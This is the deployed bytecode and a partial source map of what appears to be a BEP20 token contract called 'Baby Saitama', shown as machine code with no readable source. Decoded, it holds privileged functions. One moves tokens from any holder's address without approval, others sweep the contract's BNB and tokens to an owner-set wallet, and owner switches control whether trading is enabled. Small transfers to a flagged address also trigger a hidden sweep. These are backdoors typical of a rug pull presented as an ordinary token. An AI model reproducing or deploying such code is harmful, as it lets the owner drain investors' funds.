0x6080604052600436106101bb5760003560e01c80638b0414d5116100ec578063dd62ed3e1161008a578063f0b37c0411610064578063f0b37c041461052d578063f2fde38b1461054d578063fd3e6a0a1461056d578063fe9fbb801461058d57600080fd5b8063dd62ed3e146104b2578063df20fd49146104f8578063e2b100f71461051857600080fd5b8063a8aa1b31116100c6578063a8aa1b311461043d578063a9059cbb1461045d578063b6a5d7de1461047d578063d357f89c1461049d57600080fd5b80638b0414d5146103c85780638c232838146103e857806395d89b411461040857600080fd5b8063313ce5671161015957806375b2f5c51161013357806375b2f5c51461034a57806378109e541461036a5780637d1db4a514610380578063893d20e81461039657600080fd5b8063313ce567146102d857806370a08231146102f4578063749796a51461032a57600080fd5b806318160ddd1161019557806318160ddd1461025557806323b872dd146102745780632b112e49146102945780632f54bf6e146102a957600080fd5b806306fdde03146101c7578063095ea7b31461020e5780630cc9606c1461023e57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152600c81526b426162792053616974616d6160a01b60208201525b6040516102059190611681565b60405180910390f35b34801561021a57600080fd5b5061022e6102293660046116ee565b6105ad565b6040519015158152602001610205565b34801561024a57600080fd5b506102536105c4565b005b34801561026157600080fd5b506002545b604051908152602001610205565b34801561028057600080fd5b5061022e61028f36600461171a565b6105fc565b3480156102a057600080fd5b50610266610665565b3480156102b557600080fd5b5061022e6102c436600461175b565b6000546001600160a01b0391821691161490565b3480156102e457600080fd5b5060405160098152602001610205565b34801561030057600080fd5b5061026661030f36600461175b565b6001600160a01b031660009081526013602052604090205490565b34801561033657600080fd5b5061025361034536600461175b565b6106d6565b34801561035657600080fd5b5061025361036536600461171a565b61071f565b34801561037657600080fd5b5061026660045481565b34801561038c57600080fd5b5061026660035481565b3480156103a257600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610205565b3480156103d457600080fd5b506102536103e336600461175b565b61084c565b3480156103f457600080fd5b5061026661040336600461175b565b6108ab565b34801561041457600080fd5b5060408051808201909152600c81526b626162792053616974616d6160a01b60208201526101f8565b34801561044957600080fd5b506016546103b0906001600160a01b031681565b34801561046957600080fd5b5061022e6104783660046116ee565b6108da565b34801561048957600080fd5b5061025361049836600461175b565b6108e7565b3480156104a957600080fd5b50610253610933565b3480156104be57600080fd5b506102666104cd366004611778565b6001600160a01b03918216600090815260146020908152604080832093909416825291909152205490565b34801561050457600080fd5b506102536105133660046117bf565b610996565b34801561052457600080fd5b506102536109d2565b34801561053957600080fd5b5061025361054836600461175b565b610a08565b34801561055957600080fd5b5061025361056836600461175b565b610a4e565b34801561057957600080fd5b5061025361058836600461171a565b610adf565b34801561059957600080fd5b5061022e6105a836600461175b565b610b14565b60006105ba338484610b32565b5060015b92915050565b6105cd33610b14565b6105f25760405162461bcd60e51b81526004016105e9906117dd565b60405180910390fd5b6105fa610c57565b565b6000610609848484610c78565b61065b843361065685604051806060016040528060288152602001611a84602891396001600160a01b038a16600090815260146020908152604080832033845290915290205491906110a3565b610b32565b5060019392505050565b60136020527f8fa6efc3be94b5b348b21fea823fe8d100408cee9b7f90524494500445d8ff6c5461dead60009081527f2264e2d7bacabe6058f5009f42467b9be28015e7760f87409562384c94ac271c5460025491926106d19290916106cb91906110cf565b906110cf565b905090565b6106df33610b14565b6106fb5760405162461bcd60e51b81526004016105e9906117dd565b6001600160a01b03166000908152601b60205260409020805460ff19166001179055565b61072833610b14565b6107445760405162461bcd60e51b81526004016105e9906117dd565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa15801561078b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107af9190611802565b90506001600160a01b03841663a9059cbb846107d660646107d086886110e2565b906110ee565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610821573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610845919061181b565b5050505050565b61085533610b14565b6108715760405162461bcd60e51b81526004016105e9906117dd565b601880546001600160a01b039092166001600160a01b0319909216821790556000908152601960205260409020805460ff19166001179055565b6016546000906001600160a01b038381169116146108d2576009546008546105be916110fa565b505060085490565b60006105ba338484610c78565b6108f033610b14565b61090c5760405162461bcd60e51b81526004016105e9906117dd565b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b61093c33610b14565b6109585760405162461bcd60e51b81526004016105e9906117dd565b60185460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610992573d6000803e3d6000fd5b5050565b61099f33610b14565b6109bb5760405162461bcd60e51b81526004016105e9906117dd565b600b805460ff191692151592909217909155600f55565b6109db33610b14565b6109f75760405162461bcd60e51b81526004016105e9906117dd565b600e805461ff001916610100179055565b610a1133610b14565b610a2d5760405162461bcd60e51b81526004016105e9906117dd565b6001600160a01b03166000908152600160205260409020805460ff19169055565b610a5733610b14565b610a735760405162461bcd60e51b81526004016105e9906117dd565b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff191690921790915591519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163910160405180910390a150565b610ae833610b14565b610b045760405162461bcd60e51b81526004016105e9906117dd565b610b0f838383611106565b505050565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b038316610b945760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e9565b6001600160a01b038216610bf55760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e9565b6001600160a01b0383811660008181526014602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b610c7360016106cb600854600a546110cf90919063ffffffff16565b600955565b6001600160a01b0383166000908152601b602052604090205460ff16158015610cba57506001600160a01b0382166000908152601b602052604090205460ff16155b15610d0c57600e54610100900460ff16610d0c5760405162461bcd60e51b815260206004820152601360248201527215149051125391c81393d50814d51054951151606a1b60448201526064016105e9565b6001600160a01b0383166000908152601b602052604090205460ff16158015610d4e57506001600160a01b0382166000908152601b602052604090205460ff16155b8015610d6557506001600160a01b03821661dead14155b8015610d7f57506016546001600160a01b03838116911614155b15610de5576004546001600160a01b038316600090815260136020526040902054610daa90836110fa565b1115610de55760405162461bcd60e51b815260206004820152600a6024820152691350560815d05313115560b21b60448201526064016105e9565b6001600160a01b0383166000908152601b602052604090205460ff16158015610e2757506001600160a01b0382166000908152601b602052604090205460ff16155b8015610e3e57506001600160a01b03821661dead14155b15610e7e57600354811115610e7e5760405162461bcd60e51b815260206004820152600660248201526509a82b040a8b60d31b60448201526064016105e9565b6001600160a01b03821660009081526019602052604090205460ff168015610ebb5750610ead6009600a611932565b610eb8906002611941565b81105b15610ec857610ec8610933565b6001600160a01b03821660009081526019602052604090205460ff168015610f065750610ef76009600a611932565b610f02906002611941565b8110155b8015610f275750610f196009600a611932565b610f24906003611941565b81105b15610f3457610f34610c57565b6016546001600160a01b03848116911614801590610f6b57506001600160a01b0383166000908152601b602052604090205460ff16155b15610f8257600c54610f7e9060016110fa565b600c555b610f8c838361117d565b15610fa257610f9c600f54611215565b6000600c555b60408051808201825260018152602b60f81b6020808301919091526001600160a01b038616600090815260139091529190912054610fe19183906110a3565b6001600160a01b0384166000908152601360205260408120919091556110078484611353565b611011578161101b565b61101b8483611399565b6001600160a01b03841660009081526013602052604090205490915061104190826110fa565b6001600160a01b0380851660008181526013602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110959085815260200190565b60405180910390a350505050565b600081848411156110c75760405162461bcd60e51b81526004016105e99190611681565b505050900390565b60006110db8284611960565b9392505050565b60006110db8284611941565b60006110db8284611977565b60006110db8284611999565b6001600160a01b03821660009081526013602052604090205461112990826110fa565b6001600160a01b0380841660008181526013602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c4a9085815260200190565b600f5430600090815260136020526040812054600e54919211159060ff161580156111aa5750600b5460ff165b80156111cf57506001600160a01b0384166000908152601b602052604090205460ff16155b80156111f457506001600160a01b0383166000908152601b602052604090205460ff16155b80156112045750600d54600c5410155b801561120d5750805b949350505050565b600e805460ff1916600117905560125460105460115460009261124392909161123d916110fa565b906110fa565b61124e906002611941565b9050600061126b826107d0601154866110e290919063ffffffff16565b9050600061127984836110cf565b9050476112858261147a565b600061129147836110cf565b905060006112b46112ad601154886110cf90919063ffffffff16565b83906110ee565b905060006112cd601154836110e290919063ffffffff16565b905080156112df576112df86826115d4565b6010546000906112fa906112f48560026110e2565b906110e2565b9050801561133e576018546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561133c573d6000803e3d6000fd5b505b5050600e805460ff1916905550505050505050565b6001600160a01b0382166000908152601b602052604081205460ff161580156110db5750506001600160a01b03166000908152601b602052604090205460ff1615919050565b60008060085411806113c657506016546001600160a01b038481169116148015906113c657506000600954115b156114745760006113e6600a546107d06113df876108ab565b86906110e2565b90508015611462573060009081526013602052604090205461140890826110fa565b30600081815260136020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114599085815260200190565b60405180910390a35b61146c83826110cf565b9150506105be565b50919050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106114af576114af6119b1565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611508573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152c91906119c7565b8160018151811061153f5761153f6119b1565b6001600160a01b0392831660209182029290920101526015546115659130911684610b32565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061159e9085906000908690309042906004016119e4565b600060405180830381600087803b1580156115b857600080fd5b505af11580156115cc573d6000803e3d6000fd5b505050505050565b6015546115ec9030906001600160a01b031684610b32565b60155460175460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af115801561165c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108459190611a55565b600060208083528351808285015260005b818110156116ae57858101830151858201604001528201611692565b818111156116c0576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146116eb57600080fd5b50565b6000806040838503121561170157600080fd5b823561170c816116d6565b946020939093013593505050565b60008060006060848603121561172f57600080fd5b833561173a816116d6565b9250602084013561174a816116d6565b929592945050506040919091013590565b60006020828403121561176d57600080fd5b81356110db816116d6565b6000806040838503121561178b57600080fd5b8235611796816116d6565b915060208301356117a6816116d6565b809150509250929050565b80151581146116eb57600080fd5b600080604083850312156117d257600080fd5b823561170c816117b1565b6020808252600b908201526a085055551213d49256915160aa1b604082015260600190565b60006020828403121561181457600080fd5b5051919050565b60006020828403121561182d57600080fd5b81516110db816117b1565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561188957816000190482111561186f5761186f611838565b8085161561187c57918102915b93841c9390800290611853565b509250929050565b6000826118a0575060016105be565b816118ad575060006105be565b81600181146118c357600281146118cd576118e9565b60019150506105be565b60ff8411156118de576118de611838565b50506001821b6105be565b5060208310610133831016604e8410600b841016171561190c575081810a6105be565b611916838361184e565b806000190482111561192a5761192a611838565b029392505050565b60006110db60ff841683611891565b600081600019048311821515161561195b5761195b611838565b500290565b60008282101561197257611972611838565b500390565b60008261199457634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156119ac576119ac611838565b500190565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156119d957600080fd5b81516110db816116d6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a345784516001600160a01b031683529383019391830191600101611a0f565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611a6a57600080fd5b835192506020840151915060408401519050925092509256fe42455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220647e1c72412cafc123ec9b2d4eff7099328e03d2b140b3bb10b53b56c1eca19364736f6c634300080d0033
Deployed Bytecode Sourcemap
4841:9282:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6872:67;;;;;;;;;;-1:-1:-1;6932:5:0;;;;;;;;;;;;-1:-1:-1;;;6932:5:0;;;;6872:67;;;;;;;:::i;:::-;;;;;;;;7743:133;;;;;;;;;;-1:-1:-1;7743:133:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;7743:133:0;1072:187:1;13487:81:0;;;;;;;;;;;;;:::i;:::-;;7095:84;;;;;;;;;;-1:-1:-1;7165:12:0;;7095:84;;;1410:25:1;;;1398:2;1383:18;7095:84:0;1264:177:1;8026:309:0;;;;;;;;;;-1:-1:-1;8026:309:0;;;;;:::i;:::-;;:::i;7882:132::-;;;;;;;;;;;;;:::i;3502:87::-;;;;;;;;;;-1:-1:-1;3502:87:0;;;;;:::i;:::-;3557:4;3582:5;-1:-1:-1;;;;;3571:16:0;;;3582:5;;3571:16;;3502:87;7022:67;;;;;;;;;;-1:-1:-1;7022:67:0;;5061:1;2301:36:1;;2289:2;2274:18;7022:67:0;2159:184:1;7269:103:0;;;;;;;;;;-1:-1:-1;7269:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7352:18:0;7335:7;7352:18;;;:9;:18;;;;;;;7269:103;12354:108;;;;;;;;;;-1:-1:-1;12354:108:0;;;;;:::i;:::-;;:::i;13897:223::-;;;;;;;;;;-1:-1:-1;13897:223:0;;;;;:::i;:::-;;:::i;5206:63::-;;;;;;;;;;;;;;;;5139:60;;;;;;;;;;;;;;;;7185:78;;;;;;;;;;-1:-1:-1;7237:7:0;7255:5;-1:-1:-1;;;;;7255:5:0;7185:78;;;-1:-1:-1;;;;;2512:32:1;;;2494:51;;2482:2;2467:18;7185:78:0;2348:203:1;10140:132:0;;;;;;;;;;-1:-1:-1;10140:132:0;;;;;:::i;:::-;;:::i;10280:160::-;;;;;;;;;;-1:-1:-1;10280:160:0;;;;;:::i;:::-;;:::i;6945:71::-;;;;;;;;;;-1:-1:-1;7007:7:0;;;;;;;;;;;;-1:-1:-1;;;7007:7:0;;;;6945:71;;5970:19;;;;;;;;;;-1:-1:-1;5970:19:0;;;;-1:-1:-1;;;;;5970:19:0;;;7465:139;;;;;;;;;;-1:-1:-1;7465:139:0;;;;;:::i;:::-;;:::i;3329:79::-;;;;;;;;;;-1:-1:-1;3329:79:0;;;;;:::i;:::-;;:::i;13176:151::-;;;;;;;;;;;;;:::i;7610:127::-;;;;;;;;;;-1:-1:-1;7610:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7708:18:0;;;7691:7;7708:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7610:127;12565:161;;;;;;;;;;-1:-1:-1;12565:161:0;;;;;:::i;:::-;;:::i;12470:87::-;;;;;;;;;;;;;:::i;3414:82::-;;;;;;;;;;-1:-1:-1;3414:82:0;;;;;:::i;:::-;;:::i;3694:174::-;;;;;;;;;;-1:-1:-1;3694:174:0;;;;;:::i;:::-;;:::i;13335:144::-;;;;;;;;;;-1:-1:-1;13335:144:0;;;;;:::i;:::-;;:::i;3595:91::-;;;;;;;;;;-1:-1:-1;3595:91:0;;;;;:::i;:::-;;:::i;7743:133::-;7818:4;7825:37;7834:10;7846:7;7855:6;7825:8;:37::i;:::-;-1:-1:-1;7870:4:0;7743:133;;;;;:::o;13487:81::-;3278:24;3291:10;3278:12;:24::i;:::-;3270:48;;;;-1:-1:-1;;;3270:48:0;;;;;;;:::i;:::-;;;;;;;;;13546:14:::1;:12;:14::i;:::-;13487:81::o:0;8026:309::-;8124:4;8141:36;8151:6;8159:9;8170:6;8141:9;:36::i;:::-;8188:117;8197:6;8205:10;8217:87;8253:6;8217:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8217:19:0;;;;;;:11;:19;;;;;;;;8237:10;8217:31;;;;;;;;;:87;:35;:87::i;:::-;8188:8;:117::i;:::-;-1:-1:-1;8323:4:0;8026:309;;;;;:::o;7882:132::-;7352:9;:18;;;;6209:42;7935:7;7352:18;;;;;7952:12;;7935:7;;7952:60;;7352:18;;7952:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;7945:67;;7882:132;:::o;12354:108::-;3278:24;3291:10;3278:12;:24::i;:::-;3270:48;;;;-1:-1:-1;;;3270:48:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12426:21:0::1;;::::0;;;:11:::1;:21;::::0;;;;:28;;-1:-1:-1;;12426:28:0::1;12450:4;12426:28;::::0;;12354:108::o;13897:223::-;3278:24;3291:10;3278:12;:24::i;:::-;3270:48;;;;-1:-1:-1;;;3270:48:0;;;;;;;:::i;:::-;14008:39:::1;::::0;-1:-1:-1;;;14008:39:0;;14041:4:::1;14008:39;::::0;::::1;2494:51:1::0;13993:12:0::1;::::0;-1:-1:-1;;;;;14008:24:0;::::1;::::0;::::1;::::0;2467:18:1;;14008:39:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13993:54:::0;-1:-1:-1;;;;;;14058:23:0;::::1;;14082:4:::0;14088:23:::1;14107:3;14088:14;13993:54:::0;14097:4;14088:8:::1;:14::i;:::-;:18:::0;::::1;:23::i;:::-;14058:54;::::0;-1:-1:-1;;;;;;14058:54:0::1;::::0;;;;;;-1:-1:-1;;;;;4367:32:1;;;14058:54:0::1;::::0;::::1;4349:51:1::0;4416:18;;;4409:34;4322:18;;14058:54:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13982:138;13897:223:::0;;;:::o;10140:132::-;3278:24;3291:10;3278:12;:24::i;:::-;3270:48;;;;-1:-1:-1;;;3270:48:0;;;;;;;:::i;:::-;10213:9:::1;:22:::0;;-1:-1:-1;;;;;10213:22:0;;::::1;-1:-1:-1::0;;;;;;10213:22:0;;::::1;::::0;::::1;::::0;;:9:::1;10237:20:::0;;;:8:::1;:20;::::0;;;;:27;;-1:-1:-1;;10237:27:0::1;10213:22:::0;10237:27:::1;::::0;;10140:132::o;10280:160::-;10371:4;;10338:7;;-1:-1:-1;;;;;10361:14:0;;;10371:4;;10361:14;10358:49;;10397:7;;10384:8;;:21;;:12;:21::i;10358:49::-;-1:-1:-1;;10424:8:0;;;10280:160::o;7465:139::-;7543:4;7550:40;7560:10;7572:9;7583:6;7550:9;:40::i;3329:79::-;3278:24;3291:10;3278:12;:24::i;:::-;3270:48;;;;-1:-1:-1;;;3270:48:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3380:19:0::1;;::::0;;;3402:4:::1;3380:19;::::0;;;;;;;:26;;-1:-1:-1;;3380:26:0::1;::::0;;::::1;::::0;;3329:79::o;13176:151::-;3278:24;3291:10;3278:12;:24::i;:::-;3270:48;;;;-1:-1:-1;;;3270:48:0;;;;;;;:::i;:::-;13289:9:::1;::::0;13281:38:::1;::::0;13249:21:::1;::::0;-1:-1:-1;;;;;13289:9:0::1;::::0;13281:38;::::1;;;::::0;13249:21;;13229:17:::1;13281:38:::0;13229:17;13281:38;13249:21;13289:9;13281:38;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13218:109;13176:151::o:0;12565:161::-;3278:24;3291:10;3278:12;:24::i;:::-;3270:48;;;;-1:-1:-1;;;3270:48:0;;;;;;;:::i;:::-;12659:11:::1;:21:::0;;-1:-1:-1;;12659:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;;12692:13:::1;:26:::0;12565:161::o;12470:87::-;3278:24;3291:10;3278:12;:24::i;:::-;3270:48;;;;-1:-1:-1;;;3270:48:0;;;;;;;:::i;:::-;12529:13:::1;:20:::0;;-1:-1:-1;;12529:20:0::1;;;::::0;;12470:87::o;3414:82::-;3278:24;3291:10;3278:12;:24::i;:::-;3270:48;;;;-1:-1:-1;;;3270:48:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3467:19:0::1;3489:5;3467:19:::0;;;:14:::1;:19;::::0;;;;:27;;-1:-1:-1;;3467:27:0::1;::::0;;3414:82::o;3694:174::-;3278:24;3291:10;3278:12;:24::i;:::-;3270:48;;;;-1:-1:-1;;;3270:48:0;;;;;;;:::i;:::-;3771:5:::1;:11:::0;;-1:-1:-1;;;;;;3771:11:0::1;-1:-1:-1::0;;;;;3771:11:0;::::1;::::0;;::::1;::::0;;3793:19;;;-1:-1:-1;3793:19:0::1;::::0;;;;;;;;:26;;-1:-1:-1;;3793:26:0::1;::::0;;::::1;::::0;;;3835:25;;2494:51:1;;;3835:25:0::1;::::0;2467:18:1;3835:25:0::1;;;;;;;3694:174:::0;:::o;13335:144::-;3278:24;3291:10;3278:12;:24::i;:::-;3270:48;;;;-1:-1:-1;;;3270:48:0;;;;;;;:::i;:::-;13436:35:::1;13445:6;13453:9;13464:6;13436:8;:35::i;:::-;13335:144:::0;;;:::o;3595:91::-;-1:-1:-1;;;;;3665:19:0;3651:4;3665:19;;;:14;:19;;;;;;;;;3595:91::o;8554:335::-;-1:-1:-1;;;;;8647:19:0;;8639:68;;;;-1:-1:-1;;;8639:68:0;;5122:2:1;8639:68:0;;;5104:21:1;5161:2;5141:18;;;5134:30;5200:34;5180:18;;;5173:62;-1:-1:-1;;;5251:18:1;;;5244:34;5295:19;;8639:68:0;4920:400:1;8639:68:0;-1:-1:-1;;;;;8726:21:0;;8718:68;;;;-1:-1:-1;;;8718:68:0;;5527:2:1;8718:68:0;;;5509:21:1;5566:2;5546:18;;;5539:30;5605:34;5585:18;;;5578:62;-1:-1:-1;;;5656:18:1;;;5649:32;5698:19;;8718:68:0;5325:398:1;8718:68:0;-1:-1:-1;;;;;8797:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8849:32;;1410:25:1;;;8849:32:0;;1383:18:1;8849:32:0;;;;;;;;8554:335;;;:::o;7378:81::-;7422:35;7455:1;7422:28;7441:8;;7422:14;;:18;;:28;;;;:::i;:35::-;7412:7;:45;7378:81::o;8897:1235::-;-1:-1:-1;;;;;8990:19:0;;;;;;:11;:19;;;;;;;;8989:20;:47;;;;-1:-1:-1;;;;;;9014:22:0;;;;;;:11;:22;;;;;;;;9013:23;8989:47;8986:99;;;9046:13;;;;;;;9038:45;;;;-1:-1:-1;;;9038:45:0;;5930:2:1;9038:45:0;;;5912:21:1;5969:2;5949:18;;;5942:30;-1:-1:-1;;;5988:18:1;;;5981:49;6047:18;;9038:45:0;5728:343:1;9038:45:0;-1:-1:-1;;;;;9099:19:0;;;;;;:11;:19;;;;;;;;9098:20;:47;;;;-1:-1:-1;;;;;;9123:22:0;;;;;;:11;:22;;;;;;;;9122:23;9098:47;:77;;;;-1:-1:-1;;;;;;9149:26:0;;6209:42;9149:26;;9098:77;:98;;;;-1:-1:-1;9192:4:0;;-1:-1:-1;;;;;9179:17:0;;;9192:4;;9179:17;;9098:98;9095:195;;;9258:15;;-1:-1:-1;;;;;9221:20:0;;;;;;:9;:20;;;;;;:32;;9246:6;9221:24;:32::i;:::-;9220:53;;9212:76;;;;-1:-1:-1;;;9212:76:0;;6278:2:1;9212:76:0;;;6260:21:1;6317:2;6297:18;;;6290:30;-1:-1:-1;;;6336:18:1;;;6329:40;6386:18;;9212:76:0;6076:334:1;9212:76:0;-1:-1:-1;;;;;9304:19:0;;;;;;:11;:19;;;;;;;;9303:20;:47;;;;-1:-1:-1;;;;;;9328:22:0;;;;;;:11;:22;;;;;;;;9327:23;9303:47;:77;;;;-1:-1:-1;;;;;;9354:26:0;;6209:42;9354:26;;9303:77;9300:139;;;9414:12;;9404:6;:22;;9396:41;;;;-1:-1:-1;;;9396:41:0;;6617:2:1;9396:41:0;;;6599:21:1;6656:1;6636:18;;;6629:29;-1:-1:-1;;;6674:18:1;;;6667:36;6720:18;;9396:41:0;6415:329:1;9396:41:0;-1:-1:-1;;;;;9452:19:0;;;;;;:8;:19;;;;;;;;:53;;;;-1:-1:-1;9489:15:0;5061:1;9489:2;:15;:::i;:::-;9484:21;;:1;:21;:::i;:::-;9475:6;:30;9452:53;9449:74;;;9507:14;:12;:14::i;:::-;-1:-1:-1;;;;;9536:19:0;;;;;;:8;:19;;;;;;;;:54;;;;-1:-1:-1;9574:15:0;5061:1;9574:2;:15;:::i;:::-;9569:21;;:1;:21;:::i;:::-;9559:6;:31;;9536:54;:88;;;;-1:-1:-1;9608:15:0;5061:1;9608:2;:15;:::i;:::-;9603:21;;:1;:21;:::i;:::-;9594:6;:30;9536:88;9533:109;;;9626:14;:12;:14::i;:::-;9665:4;;-1:-1:-1;;;;;9655:14:0;;;9665:4;;9655:14;;;;:38;;-1:-1:-1;;;;;;9674:19:0;;;;;;:11;:19;;;;;;;;9673:20;9655:38;9652:73;;;9707:9;;:16;;9721:1;9707:13;:16::i;:::-;9695:9;:28;9652:73;9738:33;9753:6;9761:9;9738:14;:33::i;:::-;9735:84;;;9773:29;9788:13;;9773:14;:29::i;:::-;9816:1;9804:9;:13;9735:84;9849:34;;;;;;;;;;;-1:-1:-1;;;9849:34:0;;;;;;;;-1:-1:-1;;;;;9849:17:0;;-1:-1:-1;9849:17:0;;;:9;:17;;;;;;;;:34;;9871:6;;9849:21;:34::i;:::-;-1:-1:-1;;;;;9829:17:0;;;;;;:9;:17;;;;;:54;;;;9919:32;9839:6;9941:9;9919:13;:32::i;:::-;:72;;9985:6;9919:72;;;9954:28;9967:6;9975;9954:12;:28::i;:::-;-1:-1:-1;;;;;10025:20:0;;;;;;:9;:20;;;;;;9894:97;;-1:-1:-1;10025:40:0;;9894:97;10025:24;:40::i;:::-;-1:-1:-1;;;;;10002:20:0;;;;;;;:9;:20;;;;;;;:63;;;;10081:43;;;;;;;;;;10109:14;1410:25:1;;1398:2;1383:18;;1264:177;10081:43:0;;;;;;;;8975:1157;8897:1235;;;:::o;2446:162::-;2532:7;2578:12;2570:6;;;;2562:29;;;;-1:-1:-1;;;2562:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2600:5:0;;;2446:162::o;1233:82::-;1291:7;1308:5;1312:1;1308;:5;:::i;:::-;1301:12;1233:82;-1:-1:-1;;;1233:82:0:o;1321:::-;1379:7;1396:5;1400:1;1396;:5;:::i;1409:82::-;1467:7;1484:5;1488:1;1484;:5;:::i;1145:82::-;1203:7;1220:5;1224:1;1220;:5;:::i;8343:203::-;-1:-1:-1;;;;;8455:20:0;;;;;;:9;:20;;;;;;:32;;8480:6;8455:24;:32::i;:::-;-1:-1:-1;;;;;8432:20:0;;;;;;;:9;:20;;;;;;;:55;;;;8503:35;;;;;;;;;;8531:6;1410:25:1;;1398:2;1383:18;;1264:177;13576:313:0;13725:13;;13715:4;13658;7352:18;;;:9;:18;;;;;;13757:8;;13658:4;;-1:-1:-1;13697:41:0;;13757:8;;13756:9;:24;;;;-1:-1:-1;13769:11:0;;;;13756:24;:48;;;;-1:-1:-1;;;;;;13785:19:0;;;;;;:11;:19;;;;;;;;13784:20;13756:48;:75;;;;-1:-1:-1;;;;;;13809:22:0;;;;;;:11;:22;;;;;;;;13808:23;13756:75;:107;;;;;13858:5;;13845:9;;:18;;13756:107;:125;;;;;13867:14;13756:125;13749:132;13576:313;-1:-1:-1;;;;13576:313:0:o;10616:924::-;5675:8;:15;;-1:-1:-1;;5675:15:0;5686:4;5675:15;;;10752:14:::1;::::0;10730:16:::1;::::0;10709::::1;::::0;5675:8;;10709:58:::1;::::0;10752:14;;10709:38:::1;::::0;:20:::1;:38::i;:::-;:42:::0;::::1;:58::i;:::-;10708:64;::::0;10771:1:::1;10708:64;:::i;:::-;10687:85;;10783:32;10818:45;10851:11;10818:28;10829:16;;10818:6;:10;;:28;;;;:::i;:45::-;10783:80:::0;-1:-1:-1;10874:14:0::1;10891:36;:6:::0;10783:80;10891:10:::1;:36::i;:::-;10874:53:::0;-1:-1:-1;10963:21:0::1;10995:24;10874:53:::0;10995:16:::1;:24::i;:::-;11030:20;11053:41;:21;11079:14:::0;11053:25:::1;:41::i;:::-;11030:64;;11105:19;11126:51;11143:33;11159:16;;11143:11;:15;;:33;;;;:::i;:::-;11126:12:::0;;:16:::1;:51::i;:::-;11105:72;;11188:29;11220:33;11236:16;;11220:11;:15;;:33;;;;:::i;:::-;11188:65:::0;-1:-1:-1;11267:25:0;;11264:108:::1;;11308:61;11321:24;11347:21;11308:12;:61::i;:::-;11428:16;::::0;11382:20:::1;::::0;11405:40:::1;::::0;:18:::1;:11:::0;11421:1:::1;11405:15;:18::i;:::-;:22:::0;::::1;:40::i;:::-;11382:63:::0;-1:-1:-1;11459:16:0;;11456:77:::1;;11497:9;::::0;11489:41:::1;::::0;-1:-1:-1;;;;;11497:9:0;;::::1;::::0;11489:41;::::1;;;::::0;11517:12;;11497:9:::1;11489:41:::0;11497:9;11489:41;11517:12;11497:9;11489:41;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11456:77;-1:-1:-1::0;;5695:8:0;:16;;-1:-1:-1;;5695:16:0;;;-1:-1:-1;;;;;;;10616:924:0:o;10448:160::-;-1:-1:-1;;;;;10554:19:0;;10529:4;10554:19;;;:11;:19;;;;;;;;10553:20;:47;;;;-1:-1:-1;;;;;;;10578:22:0;;;;;:11;:22;;;;;